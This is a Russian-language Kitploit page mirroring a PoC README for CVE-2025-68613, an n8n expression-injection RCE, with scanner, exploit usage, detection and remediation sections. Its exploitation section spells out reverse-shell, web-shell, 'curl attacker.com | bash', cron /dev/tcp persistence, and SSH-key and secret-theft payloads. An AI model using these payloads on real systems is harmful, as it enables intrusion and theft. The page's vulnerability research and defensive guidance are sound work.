Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2025-68613-POC — Публичный PoC + сканер и исследование для CVE-2025-68613: критическое RCE в n8n Workflow Automation через инъекцию выражений (CVSS 10.0). Включает инструменты обнаружения, полный эксплойт и рекомендации по устранению уязвимости. | Kitploit
Инструменты/GitHubGitHub/thestingr/cve-2025-68613-poc
РазведкаСканеры уязвимостейАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийСбор информацииТестирование на ПроникновениеСтатьи и ИсследованияОбучение и Образование

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Red Teaming
Разработка Полезной Нагрузки
GitHubthestingr/cve-2025-68613-poc

CVE-2025-68613-POC

Публичный PoC + сканер и исследование для CVE-2025-68613: критическое RCE в n8n Workflow Automation через инъекцию выражений (CVSS 10.0). Включает инструменты обнаружения, полный эксплойт и рекомендации по устранению уязвимости.

Репозиторий
2638 месяцев назадПроверено Kitploit
Поделиться

🚨 CVE-2025-68613: Критическая RCE-уязвимость в n8n

Language: Python CVSS Score: 10.0 Critical Exploit Status: Proof of Concept Available CVE Status: CVE-2025-68613 Disclosed Version: v1.0.2 Target Platform: n8n

CVE-2025-68613 PoC - TechSquad RedTeam

Оглавление

  1. Обзор
  2. Что такое n8n?
  3. Основы уязвимости
  4. Технические детали
  5. Затронутые версии
  6. Механика эксплуатации
  7. Реальное влияние
  8. Методы обнаружения
  9. Устранение и смягчение рисков
  10. Ресурсы и ссылки

Обзор

CVE-2025-68613 — это критическая уязвимость удалённого выполнения кода (RCE), обнаруженная в n8n, популярной платформе автоматизации рабочих процессов с открытым исходным кодом. Эта уязвимость позволяет аутентифицированным пользователям выполнять произвольный код на сервере, что потенциально может привести к полной компрометации системы.

Краткие факты

  • Идентификатор CVE: CVE-2025-68613
  • Оценка CVSS: 9.9 - 10.0 (Critical)
  • Тип уязвимости: Инъекция выражений → удалённое выполнение кода
  • CWE: CWE-913 (Improper Control of Dynamically-Managed Code Resources)
  • Вектор атаки: Сеть
  • Требуется аутентификация: Да (низкие привилегии — доступ администратора не требуется) |- Статус: Доступен PoC (подтверждено на v1.121.0)

Что такое n8n?

n8n — это платформа автоматизации рабочих процессов с открытым исходным кодом, которая позволяет пользователям:

  • Подключать различные API, базы данных и сервисы
  • Автоматизировать повторяющиеся бизнес-процессы
  • Создавать сложные рабочие процессы без глубоких знаний программирования
  • Разворачивать локально (on-premises) или в облаке

Почему n8n — критическая инфраструктура

Организации используют n8n для:

  • Интеграции баз данных с облачными сервисами
  • Автоматизации конвейеров обработки данных
  • Подключения CRM, ERP и внутренних систем
  • Управления конфиденциальными данными и учётными данными API

Такая центральная роль в ИТ-инфраструктуре делает уязвимости особенно опасными, поскольку они могут предоставить злоумышленникам доступ к целым сетям и конфиденциальным данным.


Инструменты в этом репозитории

Этот репозиторий содержит готовые к использованию инструменты для обнаружения уязвимости и проверки эксплуатации:

1. Сканер: cve-2025-68613-scanner.py

Назначение: безопасное обнаружение уязвимых экземпляров n8n без эксплуатации

Возможности:

  • Пассивное определение версии по HTTP-ответам
  • Аутентификация не требуется
  • Полезная нагрузка не выполняется
  • Проверяет несколько распространённых путей (/, /rest/settings, /healthz, /api/v1/health)
  • Безопасен для авторизованных оценок безопасности

Использование:```bash python3 cve-2025-68613-scanner.py -u http://target:5678

root@kitploit:~
**Вывод**:
- Код выхода 0: уязвимость не обнаружена
- Код выхода 1: версия не определена (возможно, исправлена или скрыта)
- Код выхода 2: обнаружена уязвимая версия

### 2. Шаблон Nuclei: `CVE-2025-68613.yaml`
**Назначение**: автоматическое обнаружение уязвимостей и базовое тестирование вычисления выражений

**Возможности**:
- Требуется действительный токен аутентификации
- Проверяет возможность внедрения выражений
- Пытается прочитать глобальный контекст Node.js (process.platform)
- Создаёт тестовые сценарии для проверки вектора RCE
- Классификация уровня критичности: CVSS 10.0 Critical

**Использование**:```bash
# Single target with known token
nuclei -t CVE-2025-68613.yaml -u http://target:5678 -v

# Multiple targets
nuclei -t CVE-2025-68613.yaml -l targets.txt

3. Полный эксплойт: exploit_cve-2025-68613.py

Назначение: Полноценный эксплойт proof-of-concept с несколькими атакующими пейлоадами

Возможности:

  • Полная обработка аутентификации
  • Несколько эксплойт-пейлоадов:
    • info: Сбор информации о системе (ОС, архитектура, версия Node.js, текущий пользователь)
    • cmd: Выполнение произвольных системных команд
    • env: Извлечение всех переменных окружения (раскрывает учётные данные, API-ключи, секреты)
    • read: Чтение конфиденциальных файлов из файловой системы (SSH-ключи, конфигурационные файлы и т.д.)
    • write: Запись файлов в файловую систему (закрепление, бэкдоры и т.д.)
    • revshell: Установка reverse shell-соединения для интерактивного доступа
  • Автоматическая очистка воркфлоу
  • Обработка ошибок и отчёт о статусе

Требования:

  • Действительные учётные данные пользователя n8n (email/пароль)
  • Python 3.6+ с библиотекой requests
  • Сетевой доступ к целевому инстансу n8n

Установка:```bash pip install requests chmod +x exploit_cve-2025-68613.py

root@kitploit:~
**Примеры использования**:```bash
# Gather system information
python3 exploit_cve-2025-68613.py -u http://target:5678 \  
  -e [email protected] -p password --payload info

# Execute system command (whoami)
python3 exploit_cve-2025-68613.py -u http://target:5678 \  
  -e [email protected] -p password --payload cmd --command "whoami"

# Extract all environment variables (credentials, API keys)
python3 exploit_cve-2025-68613.py -u http://target:5678 \  
  -e [email protected] -p password --payload env

# Read sensitive files
python3 exploit_cve-2025-68613.py -u http://target:5678 \  
  -e [email protected] -p password --payload read --file "/etc/passwd"

# Establish reverse shell (requires netcat listener)
# On attacker machine: nc -lvnp 4444
python3 exploit_cve-2025-68613.py -u http://target:5678 \  
  -e [email protected] -p password --payload revshell --lhost 10.10.14.5 --lport 4444

# Write a web shell for persistence
python3 exploit_cve-2025-68613.py -u http://target:5678 \  
  -e [email protected] -p password --payload write \  
  --file "/tmp/shell.php" --content '<?php system($_GET["cmd"]); ?>'

Как это работает:

  1. Выполняет аутентификацию в n8n, используя предоставленные учетные данные
  2. Создает вредоносный рабочий процесс с полезной нагрузкой инъекции выражений
  3. Полезная нагрузка выходит из песочницы выражений с помощью this.constructor.constructor()
  4. Выполняет полезную нагрузку через process.platform или другие Node.js API
  5. Получает результаты выполнения рабочего процесса
  6. Выполняет очистку, удаляя тестовый рабочий процесс

Коды выхода:

  • 0: Успешная эксплуатация
  • 1: Не удалась аутентификация или эксплуатация

Основы уязвимости

В чём проблема?

Простыми словами: n8n позволяет пользователям писать выражения в рабочих процессах для динамической обработки данных. Однако эти выражения выполняются без надлежащей песочницы, что позволяет злоумышленникам выйти за пределы предполагаемого контекста выполнения и запускать произвольный код на сервере.

Суть проблемы

Когда вы создаете рабочий процесс в n8n, вы можете использовать «выражения» для манипуляции данными. Предполагается, что эти выражения выполняются в ограниченной среде. Однако уязвимость показывает, что эти выражения могут получить доступ к базовой системе, что позволяет злоумышленнику:

  1. Выполнять системные команды
  2. Читать/записывать файлы на сервере
  3. Похищать переменные окружения (ключи API, пароли, секреты)
  4. Изменять или удалять данные
  5. Закрепляться в системе для долгосрочного доступа

Почему это так опасно

  • Низкий порог входа: требуется только вход пользователя (без специальных привилегий администратора)
  • Широкая применимость: многие организации позволяют нетехническим пользователям создавать рабочие процессы
  • Высокое воздействие: выполняется с полными привилегиями процесса n8n
  • Доступ к данным: может получить доступ ко всем данным, к которым имеет доступ n8n (базы данных, API, учетные данные)
  • Сетевое положение: n8n часто находится в центре критической инфраструктуры, что обеспечивает горизонтальное перемещение

Технические детали

Как работает уязвимость

Шаг 1: Вычисление выражений рабочего процесса

Когда пользователь создает рабочий процесс в n8n, он может использовать выражения для обработки данных:``` Input: User creates a workflow with an expression n8n Expression Engine: Evaluates the expression Expected Output: Processed data Actual Output (Vulnerable): Expression execution context not isolated from runtime

root@kitploit:~
#### Шаг 2: Инъекция выражения
Злоумышленник создает вредоносное выражение, которое выходит за пределы предполагаемой песочницы:```javascript
// Example: Malicious expression in workflow
${require('child_process').execSync('id')}

Шаг 3: Выполнение кода

Выражение вычисляется без надлежащей изоляции, что позволяет атакующему:

  • Вызывать системные функции
  • Выполнять команды оболочки
  • Получать доступ к файловой системе
  • Читать переменные окружения

Корневая причина

Уязвимость возникает из-за недостаточной песочницы в движке вычисления выражений. Команда n8n вычисляла выражения в контексте, который:

  • Разрешал доступ к require() или аналогичным функциям загрузки модулей
  • Не ограничивал должным образом доступ к системным API
  • Не проверял и не фильтровал синтаксис выражений
  • Не предотвращал атаки через загрязнение прототипа
  • Не изолировал среду выполнения от базовой среды выполнения Node.js

Путь выполнения кода```

User Input (Workflow Expression) ↓ Expression Parser ↓ Evaluation Engine (VULNERABLE - Not Sandboxed) ↓ Direct Access to Node.js Runtime ↓ System Command Execution / File Access / Credential Theft

root@kitploit:~
---

## Затронутые версии

### Уязвимый диапазон

Все версии n8n, начиная с **0.211.0** и до следующих версий, уязвимы:
- `0.211.0` → `1.120.3`
- `1.121.0`

### Исправленные версии

Уязвимость исправлена в:
- ✅ `1.120.4` и более поздних в ветке 1.120.x
- ✅ `1.121.1` и более поздних в ветке 1.121.x
- ✅ `1.122.0` и всех более новых версиях

### Как проверить свою версию```bash
# If n8n is running
curl http://your-n8n-instance:5678/ | grep -i "version"

# Or check the admin panel
# Go to Settings → About → Version

Проверенные версии и совместимость

Подтверждённо работает

  • n8n v1.121.0: ✅ Полностью эксплуатируема (подтверждённое RCE, внедрение выражений работает)
  • n8n v0.211.0 - v1.120.3: ✅ В пределах уязвимого диапазона по данным NVD (не тестировалось индивидуально)

Известные проблемы

  • Ограничение выполнения REST: Эндпоинт /rest/workflows/{id}/run возвращает ошибку HTTP 500 в v1.121.0
    • Обходной путь: Внедрение выражений работает отлично, RCE подтверждено через:
      1. Ручной клик по кнопке «Test Step» в интерфейсе (доказано, что работает)
      2. Захват вывода рабочего процесса
    • Это ограничение API, а не ошибка эксплойта

Не протестировано

  • n8n v0.212.0+: Вне документированного диапазона уязвимости, вероятно, исправлено (см. GitHub issue #1)
  • Развёртывания на Windows Server: Ограниченные данные тестирования в средах, специфичных для Windows

Заявление о поддержке версий

Эксплойт предназначен для работы против уязвимого диапазона, задокументированного в NVD:

  • Подтверждённая уязвимость: 0.211.0 – 1.120.3, а также 1.121.0
  • Исправленные версии: 1.120.4, 1.121.1, 1.122.0 и более поздние

При тестировании версий вне этого диапазона успех не гарантирован.


Механика эксплуатации

Что может сделать атакующий?

Когда аутентифицированный пользователь (или атакующий с действующими учётными данными) эксплуатирует эту уязвимость, он может:

1. Выполнять произвольные системные команды```javascript

${require('child_process').execSync('whoami').toString()} // Returns: root (or whatever user runs n8n)

${require('child_process').execSync('curl attacker.com/shell.sh | bash').toString()} // Downloads and executes a shell script

root@kitploit:~
#### 2. Чтение файлов с сервера```javascript
${require('fs').readFileSync('/etc/passwd', 'utf-8')}
// Reads sensitive system files

${require('fs').readFileSync('/home/user/.ssh/id_rsa', 'utf-8')}
// Steals SSH keys

3. Чтение переменных окружения```javascript

${Object.keys(process.env).join(', ')} // Lists all environment variables

${process.env.DATABASE_PASSWORD} // Extracts specific secrets

root@kitploit:~
#### 4. Запись вредоносных файлов```javascript
${require('fs').writeFileSync('/var/www/shell.php', 'malicious code')}
// Plants a web shell for persistence

${require('fs').writeFileSync('/home/user/.ssh/authorized_keys', 'attacker_key')}
// Adds SSH access

5. Доступ к подключенным сервисам```javascript

// Access workflow credentials (stored API keys, passwords) // Modify or view connected databases // Exfiltrate data from all integrated systems

root@kitploit:~
#### 6. Закрепление в системе```javascript
${require('child_process').execSync('echo "* * * * * /bin/bash -i >& /dev/tcp/attacker.com/443 0>&1" | crontab -')}
// Creates a cron job for reverse shell access

${require('child_process').execSync('useradd -m -s /bin/bash attacker')}
// Creates a new user account

Пример сценария атаки

Реальный сценарий: компания использует n8n

  1. Злоумышленник получает учетные данные: через фишинг, повторное использование паролей или слабый пароль
  2. Входит в n8n: использует легитимную учетную запись пользователя
  3. Создает «безвредный» рабочий процесс: утверждает, что он нужен для обработки данных
  4. Внедряет вредоносное выражение: прячет эксплойт в шаге рабочего процесса
  5. Выполняет код: запускает команды с привилегиями процесса n8n
  6. Похищает данные: крадет ключи API, учетные данные базы данных, данные клиентов
  7. Обеспечивает устойчивость: устанавливает бэкдоры, создает новые учетные записи администратора
  8. Перемещается латерально: использует украденные учетные данные для доступа к другим системам

Реальное влияние

Влияние на конфиденциальность (ВЫСОКОЕ)

  • Доступ к конфиденциальным данным, обрабатываемым рабочими процессами
  • Извлечение ключей API, паролей баз данных, ключей шифрования
  • Чтение файлов конфигурации, журналов и секретов
  • Возможные нарушения GDPR/комплаенса из-за кражи данных

Влияние на целостность (ВЫСОКОЕ)

  • Изменение существующих рабочих процессов для саботажа операций
  • Внедрение вредоносных рабочих процессов, повреждающих данные
  • Изменение выходных данных рабочих процессов, влияющее на последующие системы
  • Установка бэкдоров для постоянного доступа

Влияние на доступность (ВЫСОКОЕ)

  • Удаление критически важных рабочих процессов, вызывающее нарушение бизнес-процессов
  • Изменение системных файлов, приводящее к сбоям сервисов
  • Истощение ресурсов из-за вредоносной автоматизации
  • Атаки с выкупом, когда злоумышленники требуют оплату за восстановление систем

Примеры влияния на бизнес

Производственная компания

  • n8n автоматизирует обработку заказов и управление запасами
  • Злоумышленник похищает заказы клиентов и информацию о поставщиках
  • Изменяет рабочие процессы, чтобы отправлять клиентам не те товары
  • Результаты: потеря доверия клиентов, юридическая ответственность, нарушение операционной деятельности

Финансовые услуги

  • n8n интегрирует банковские API и обработку платежей
  • Злоумышленник крадет учетные данные API и токены аутентификации
  • Перенаправляет транзакции или создает мошеннические записи
  • Результаты: регуляторные штрафы, компенсация клиентам, ущерб репутации

Медицинская организация

  • n8n обрабатывает интеграцию данных пациентов и отчетность
  • Злоумышленник получает доступ к защищенной медицинской информации (PHI)
  • Изменяет медицинские записи или блокирует критические оповещения
  • Результаты: нарушения HIPAA, вред пациентам, ответственность организации

Методы обнаружения

Метод 1: сканер обнаружения версий

Безопасный, не эксплуатирующий уязвимость скрипт обнаружения (включен в исходный репозиторий):```bash python3 CVE-2025-68613.py -u http://your-n8n-instance:5678

root@kitploit:~
**Примеры вывода**```
[+] Target: http://127.0.0.1:5678
[+] Possible n8n detected at /
[+] Detected version: 1.120.2

--- Result ---
🚨 VULNERABLE
Target version is affected by CVE-2025-68613

Метод 2: Использование шаблона Nuclei

Автоматическое сканирование с помощью Nuclei:```bash

Single target

nuclei -t CVE-2025-68613.yaml -u http://target:5678

Multiple targets from file

nuclei -t CVE-2025-68613.yaml -l targets.txt

root@kitploit:~
**Как это работает**:
1. Отправляет HTTP-запросы к стандартным путям n8n
2. Извлекает метаданные версии из HTML/заголовков
3. Декодирует base64-кодированный конфиг, если он присутствует
4. Сравнивает версию с уязвимыми диапазонами
5. Сообщает, уязвим ли экземпляр

### Метод 3: Ручное получение баннера```bash
# Check for n8n in HTTP response
curl -s http://target:5678/ | grep -i "n8n"

# Check headers
curl -I http://target:5678/ | grep -i "n8n"

# Check common paths
curl -s http://target:5678/api/v1/health
curl -s http://target:5678/rest/settings
curl -s http://target:5678/healthz

Метод 4: Сетевая разведка```bash

Find n8n instances using Shodan

shodan search "n8n" --limit 10

Use favicon hash detection

nmap -p 5678 --script http-favicon target.com

root@kitploit:~
### Индикаторы компрометации (IOCs)

**Признаки в журналах**:
- Необычные вычисления выражений в журналах рабочих процессов
- Ошибки выражений, содержащие системные команды
- Доступ к чувствительным файлам (например, ссылки на /etc/passwd)
- Неожиданный запуск процессов из процесса n8n

**Признаки в системе**:
- Создание новых учетных записей пользователей на сервере
- Неожиданные SSH-ключи в authorized_keys
- Новые задачи cron или запланированные задачи
- Изменения системных файлов
- Reverse shell-соединения с сервера n8n

---

## Исправление и смягчение последствий

### ОСНОВНОЕ РЕШЕНИЕ: немедленное обновление

**Это единственное полное исправление уязвимости.**

#### Шаг 1: Создайте резервную копию данных```bash
# Backup n8n database
cp -r /path/to/n8n/database ./backup/

# Backup workflows
n8n export --backup-dir ./backup/

Шаг 2: Обновление n8n

Использование Docker (рекомендуется):```bash

Pull the latest patched version

docker pull n8nio/n8n:1.122.0 # Or later

Stop current instance

docker stop n8n-container

Start with new version

docker run -d --name n8n-patched
-p 5678:5678
-v n8n_data:/home/node/.n8n
n8nio/n8n:1.122.0

root@kitploit:~
**Использование npm**:```bash
# Backup first
npm run export --backup

# Update
npm update n8n

# Or specific version
npm install [email protected]

Использование системного менеджера пакетов:```bash

Debian/Ubuntu

sudo apt update && sudo apt upgrade n8n

Or manual download

wget https://github.com/n8n-io/n8n/releases/download/[email protected]/n8n.tar.gz

root@kitploit:~
#### Шаг 3: Проверка обновления```bash
# Check version after update
curl http://localhost:5678/api/v1/health | grep version

# Ensure n8n is running
curl http://localhost:5678/ | grep -i "n8n"

ВРЕМЕННЫЕ МЕРЫ: Во время обновления

Важно: Это НЕ устраняет уязвимость. Используйте только как временные меры при планировании обновлений.

1. Ограничьте разрешения рабочих процессов```

n8n Admin Panel → Users & Permissions ├── Disable "User Can Create Workflows" for non-admin users ├── Restrict "User Can Edit Workflows" to trusted administrators only ├── Review existing user roles and remove unnecessary permissions └── Audit workflow creators for suspicious accounts

root@kitploit:~
#### 2. Мониторинг изменений рабочего процесса```
n8n Admin Panel → Settings → Audit Log
├── Enable comprehensive audit logging
├── Monitor for suspicious workflow modifications
├── Alert on expression evaluations in logs
└── Review workflow change history regularly

3. Сетевая изоляция```bash

Restrict n8n network access

sudo ufw default deny incoming sudo ufw allow from 192.168.1.0/24 to any port 5678 # Only internal network sudo ufw enable

Or using iptables

sudo iptables -A INPUT -p tcp --dport 5678 -s 192.168.1.0/24 -j ACCEPT sudo iptables -A INPUT -p tcp --dport 5678 -j DROP

root@kitploit:~
#### 4. Запустите n8n с минимальными привилегиями```bash
# Create dedicated n8n user
sudo useradd -r -s /bin/false n8n-user

# Run n8n as this user
sudo -u n8n-user n8n

# Or in Docker with user specification
docker run -u 1000 n8nio/n8n:latest

5. Включите строгую аутентификацию```

n8n Admin Panel → Settings → Authentication ├── Enable 2FA for all accounts ├── Enforce strong password policies ├── Review and disable unnecessary service accounts ├── Implement SSO if available └── Disable any guest/demo accounts

root@kitploit:~
#### 6. Контейнеризация и изоляция```bash
# Run n8n in a restricted Docker container
docker run -d \
  --security-opt=no-new-privileges:true \
  --read-only \
  --cap-drop=ALL \
  --cap-add=NET_BIND_SERVICE \
  --tmpfs /tmp \
  -p 5678:5678 \
  n8nio/n8n:current-version

7. Регулярный аудит```bash

Monitor for suspicious activities

Check for new files in n8n directories

find /path/to/n8n -type f -mtime -1

Monitor process activity

ps aux | grep n8n netstat -tlnp | grep n8n

Check for unauthorized SSH keys

cat ~/.ssh/authorized_keys

Review system logs

journalctl -u n8n -n 100

root@kitploit:~
---

## Матрица оценки рисков

| Сценарий | Уровень риска | Вероятность | Влияние | Приоритет |
|----------|-----------|-----------|--------|----------|
| Необновлённый n8n, доступный из интернета | КРИТИЧЕСКИЙ | ВЫСОКАЯ | Полная компрометация | 🔴 СРОЧНО |
| Необновлённый n8n, только для внутреннего использования | ВЫСОКИЙ | СРЕДНЯЯ | Риск инсайдерской угрозы | 🟠 ВЫСОКИЙ |
| Обновлённый n8n | НИЗКИЙ | НИЗКАЯ | Н/Д | ✅ Устранено |
| Необновлённый n8n с ограничениями прав | СРЕДНИЙ | СРЕДНЯЯ | Ограничено доверенными пользователями | 🟡 СРЕДНИЙ |

---

## Пошаговое восстановление при компрометации

### Немедленные действия (первый час)
1. **Изолируйте систему**: Отключите от сети
2. **Остановите службу**: `sudo systemctl stop n8n`
3. **Сохраните журналы**: Сделайте резервную копию всех журналов перед очисткой
4. **Оповестите команду**: Уведомите службу безопасности и руководство
5. **Оцените масштаб**: Определите, к каким данным n8n имел доступ

### Расследование (первый день)
1. **Просмотрите журналы аудита**: Проверьте подозрительную активность
2. **Проанализируйте сетевой трафик**: Поищите признаки утечки данных
3. **Проверьте изменения файлов**: Найдите внедрённые бэкдоры
4. **Проверьте учётные записи**: Поищите новые или изменённые учётные записи
5. **Аудит учётных данных**: Сбросьте все API-ключи и пароли, используемые n8n

### Восстановление (дни 2-7)
1. **Полная пересборка системы**: Не просто обновляйте, а пересоберите из чистого образа
2. **Ротация учётных данных**: Сбросьте все пароли, API-ключи и токены
3. **Установите все исправления**: Обновите все подключённые системы
4. **Восстановите из резервной копии**: Используйте чистые резервные копии, созданные до компрометации
5. **Аудит безопасности**: Проведите полную оценку безопасности

### После инцидента (недели 2+)
1. **Внедрите мониторинг**: Настройте непрерывное журналирование и оповещение
2. **Изменение процессов**: Обновите процедуры реагирования на инциденты
3. **Обучение пользователей**: Обучите команды лучшим практикам безопасности
4. **Сканирование уязвимостей**: Регулярное сканирование на аналогичные проблемы
5. **Проверка соответствия**: Убедитесь, что все требования соблюдены (GDPR, HIPAA и т. д.)

---

## Профилактика на будущее

### Лучшие практики безопасности для n8n

1. **Поддерживайте n8n в актуальном состоянии**
   - Включите автоматические обновления, если они доступны
   - Подпишитесь на уведомления безопасности n8n
   - Тестируйте исправления в staging перед продом

2. **Контроль доступа**
   - Используйте принцип минимальных привилегий
   - Требуйте надёжные пароли и 2FA
   - Внедрите SSO для корпоративного развёртывания
   - Регулярные проверки и аудиты доступа

3. **Управление рабочими процессами**
   - Проверяйте все рабочие процессы на подозрительную логику
   - Внедрите процесс ревью кода для рабочих процессов
   - Используйте соглашения об именовании для выявления критических рабочих процессов
   - Регулярно создавайте резервные копии рабочих процессов

4. **Управление учётными данными**
   - Никогда не храните учётные данные в рабочих процессах
   - Используйте переменные окружения для чувствительных данных
   - Регулярно меняйте учётные данные
   - Аудируйте доступ к учётным данным

5. **Мониторинг и журналирование**
   - Включите полное журналирование аудита
   - Отслеживайте необычную активность
   - Настройте оповещения о подозрительных операциях
   - Регулярный просмотр и анализ журналов

6. **Сетевая безопасность**
   - Запускайте n8n в изолированных сетевых сегментах
   - Ограничьте сетевой доступ только необходимыми службами
   - Используйте VPN/межсетевой экран для удалённого доступа
   - Отслеживайте сетевой трафик на аномалии

7. **Реагирование на инциденты**
   - Создайте план реагирования на инциденты
   - Определите процедуры эскалации
   - Проводите регулярные учения по безопасности
   - Поддерживайте актуальные списки контактов

---

## Устранение неполадок

### Проблема: "Exit code 1: Authentication or exploitation failed"

**Распространённые причины**:
1. **Неверные учётные данные** (наиболее частая причина)
   - Решение: Сначала проверьте, что учётные данные работают для входа в веб-интерфейс
   - Попробуйте: `curl -X POST http://target:5678/rest/login -d '{"emailOrLdapLoginId":"[email protected]","password":"pass"}'`

2. **У пользователя нет прав на создание рабочих процессов**
   - Решение: Используйте учётную запись администратора или пользователя с правами на создание рабочих процессов
   - Проверка: Откройте админ-панель → Пользователи и разрешения

3. **Версия обновлена** (версия > 1.121.0)
   - Решение: Сначала используйте сканер для проверки версии: `python3 cve-2025-68613-scanner.py -u http://target:5678`
   - Ожидается: Сканер должен сообщить "Vulnerable" (код выхода 2)

4. **Структура API изменилась** (более старые/новые версии могут отличаться)
   - Решение: Проверьте бюллетень NVD: https://nvd.nist.gov/vuln/detail/CVE-2025-68613
   - Наиболее вероятно, если тестируются версии вне документированного диапазона

5. **Блокировка сетью/межсетевым экраном**
   - Решение: Проверьте связь: `curl http://target:5678/`
   - Проверьте: Правила межсетевого экрана, настройки прокси, SSL-сертификаты

### Проблема: Сканер сообщает о ложных срабатываниях (неверное определение версии)

**Исправлено в v1.02**: Сканер теперь использует декодированную из base64 конфигурацию Sentry из мета-тегов вместо простого регулярного выражения. Это устраняет ложные срабатывания, когда версия Node.js определялась как версия n8n.

**Что изменилось**:
- Основной источник: Извлечение и декодирование `<meta name="n8n:config:sentry" content="[BASE64]">`
- Запасной вариант: Использование регулярного выражения, только если конфигурация Sentry недоступна
- Результат: Точное определение версии без ложных срабатываний

**Для использования сканера v1.02**:```bash
# Update to v1.02
git pull origin main

# Run scanner
python3 cve-2025-68613-scanner.py -u http://target:5678

Проблема: выполнение REST возвращает ошибку 500

Это НЕ ошибка в эксплойте — это ограничение API.

Объяснение:

  • Эндпоинт /rest/workflows/{id}/run возвращает HTTP 500 в n8n v1.121.0
  • Это ограничение дизайна API n8n, а не ошибка эксплойта
  • Внедрение выражений ПО-ПРЕЖНЕМУ РАБОТАЕТ через UI

Обходное решение:

  1. Эксплойт создаёт рабочий процесс с вредоносным выражением ✅ Работает
  2. Выражение вычисляется и выполняет код ✅ Работает (подтверждено ручным тестированием)
  3. Вручную нажмите кнопку «Test Step» в интерфейсе, чтобы запустить выражение ✅ Работает
  4. Читайте вывод из результатов рабочего процесса ✅ Работает

Доказательство: Получен флаг на TryHackMe: THM{n8n_exposed_workflow}


Ресурсы и ссылки

Официальные источники

  • Репозиторий n8n на GitHub: https://github.com/n8n-io/n8n
  • Рекомендации по безопасности n8n: https://github.com/n8n-io/n8n/security/advisories
  • Документация n8n: https://docs.n8n.io/

Информация о CVE

  • Запись NVD: https://nvd.nist.gov/vuln/detail/CVE-2025-68613
  • CVEDetails: https://www.cvedetails.com/cve/CVE-2025-68613/
  • CVETodo: https://cvetodo.com/cve/CVE-2025-68613

Ресурсы по безопасности

  • NIST CWE-913: https://cwe.mitre.org/data/definitions/913.html
  • OWASP Внедрение кода: https://owasp.org/www-community/attacks/Code_Injection
  • OWASP Обход песочницы: https://owasp.org/www-community/attacks/Sandbox_Escape

Резюме

CVE-2025-68613 — это критическая уязвимость, требующая немедленных действий. Сочетание:

  • Возможность внедрения выражений
  • Отсутствие песочницы
  • Низкие требования к привилегиям
  • Широкая поверхность атаки (многие пользователи создают рабочие процессы)
  • Центральное положение в ИТ-инфраструктуре

...что делает эту уязвимость одной из самых опасных в платформах автоматизации рабочих процессов.

Простое решение: немедленно обновитесь до исправленной версии. Нет оправдания оставаться уязвимым к критическому RCE, когда доступны исправления.


Версия документа

|- Версия: 1.02 |- Дата создания: 18 декабря 2025 г. |- Последнее обновление: 26 декабря 2025 г.

  • Статус: Завершено
  • Автор: The StingR / TechSquad Inc.
  • Организация: TechSquad Inc.

Отказ от ответственности

Этот документ предоставлен только в образовательных целях и для авторизованных оценок безопасности. Несанкционированный доступ к компьютерным системам является незаконным. Всегда убедитесь, что у вас есть надлежащее разрешение, прежде чем тестировать, оценивать или получать доступ к системам, которые вам не принадлежат.


⚠️ ПОМНИТЕ: Немедленно обновите свои экземпляры n8n, если вы используете уязвимые версии.

Скачать инструмент